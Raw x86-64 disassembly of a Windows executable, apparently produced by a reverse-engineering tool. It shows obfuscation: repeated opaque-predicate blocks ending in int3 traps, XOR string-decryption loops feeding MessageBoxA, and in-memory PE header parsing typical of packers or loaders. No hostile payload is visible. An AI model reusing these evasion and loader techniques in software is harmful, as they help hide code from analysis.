mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001701a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001701a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001703a
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400170e4
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400170c4
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400170c4
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400170e4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140024980
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400171af
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001718f
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001718f
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400171af
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140017263
mov rax, qword gs:[0]
movabs rcx, 0xea6d55ec6d6fb000
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017243
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017243
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017263
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x140017290
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x1400173a9
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x140017320
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x140017303
mov rsi, qword [rbp - 0x40]
mov r13d, 0xa8712bc0
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x48]
mov r14d, 0xb505ee60
cmp rax, r13
jne 0x140017459
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017439
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017439
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017459
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140017516
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400174f6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400174f6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017516
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400175c0
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400175a0
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400175a0
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400175c0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
mov ecx, 0x5a4d
cmp word [rsi], cx
je 0x1400179a8
cmp rax, r13
jne 0x140017682
mov rax, qword gs:[0]
movabs rcx, 0xea6d55ec6d6fb000
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017662
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017662
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017682
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 5
mov r10, r15
mov r11, r12
movabs rbx, 0x1a2e6bfe9
movabs rsi, 0x8080808080808081
movabs r8, 0x1bd152be79
movabs r9, 0x37a2a57cf2
movabs r13, 0x1a2e6bfe8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x1400176d3
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400c8c60]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400c8a40]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400c8a90]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x5e32352e
mov dword [rbp + 0xc8c], 0x944d88e7
mov dword [rbp + 0xc90], 0xf5d51f89
mov word [rbp + 0xc94], Ordinal_50
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x63d0fbba85
movabs r11, 0xc7a1f7750a
mov r13d, 0xa8712bc0
movabs r14, 0x1a2e6bfe8
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x1400177ba
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x48]
cmp rcx, r13
mov r14d, 0xb505ee60
jne 0x1400178fa
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400178da
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400178da
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400178fa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14002344e
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017988
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017988
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002344e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
cmp rax, r13
jne 0x140017a49
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017a29
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017a29
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017a49
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movsxd rdx, dword [rsi + 0x3c]
add rdx, rsi
mov qword [rbp + 0xfe8], rdx
mov rax, qword gs:[0x48]
movabs rbx, 0xea6d55ec6d6fb000
cmp rax, r13
jne 0x140017b0b
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017aeb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017aeb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017b0b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x140017eea
cmp rax, r13
jne 0x140017bc4
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017ba4
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017ba4
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017bc4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 5
mov r10, r15
mov r11, r12
movabs rbx, 0x1a2e6bfe9
movabs rsi, 0x8080808080808081
movabs r8, 0x1bd152be79
movabs r9, 0x37a2a57cf2
movabs r13, 0x1a2e6bfe8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x140017c15
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400c8c60]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400c8a30]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400c8a90]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x5e32352e
mov dword [rbp + 0xccc], 0x944d88e7
mov dword [rbp + 0xcd0], 0xf5d51f89
mov word [rbp + 0xcd4], Ordinal_50
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x63d0fbba85
movabs r11, 0xc7a1f7750a
mov r13d, 0xa8712bc0
movabs r14, 0x1a2e6bfe8
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140017cfc
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x48]
cmp rax, r13
mov r14d, 0xb505ee60
jne 0x140017e3c
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017e1c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017e1c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017e3c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14002344e
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017eca
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017eca
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002344e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
cmp rax, r13
jne 0x140017f9e
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017f7e
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017f7e
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017f9e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400c8c10]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x4a3316f4
mov dword [rbp + 0x98c], 0x7d568c28
mov dword [rbp + 0x990], 0x894ec66
mov word [rbp + 0x994], 0xf7df
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x1a2e6bfe8
lea r10d, [rax + 0x1e]
movabs r9, 0x31170a7d4e
movabs r13, 0x1a2e6bfe9
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r13
add r10, 0x1e
movabs rax, 0x622e14fa9c
cmp r9, rax
jb 0x140018013
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400c8d40]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400c89e0]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x6573e27a6e
mov r10d, Ordinal_33
movabs r9, 0x32b9f13d37
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r13
add r10, 0x1f
cmp r9, rbx
jb 0x1400180cc
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14002345c
mov rax, qword gs:[0x48]
mov esi, 0xa8712bc0
cmp rax, rsi
movabs rbx, 0xea6d55ec6d6fb000
jne 0x14001823a
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001821a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001821a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001823a
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
mov edi, 0x3e9025c8
cmp rax, rsi
jne 0x1400182f9
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400182d9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400182d9
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400182f9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
xor ecx, ecx
call fcn.14008dea4
mov rcx, rax
call fcn.140089784
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x1400183b2
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018392
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018392
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400183b2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x14001845c
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001843c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001843c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001845c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018506
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400184e6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400184e6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018506
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x1400185b0
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018590
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018590
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400185b0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x14001865a
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001863a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001863a
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001865a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140018715
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400186f5
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400186f5
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018715
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
call fcn.1400827b0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140024a64
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x1400187df
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
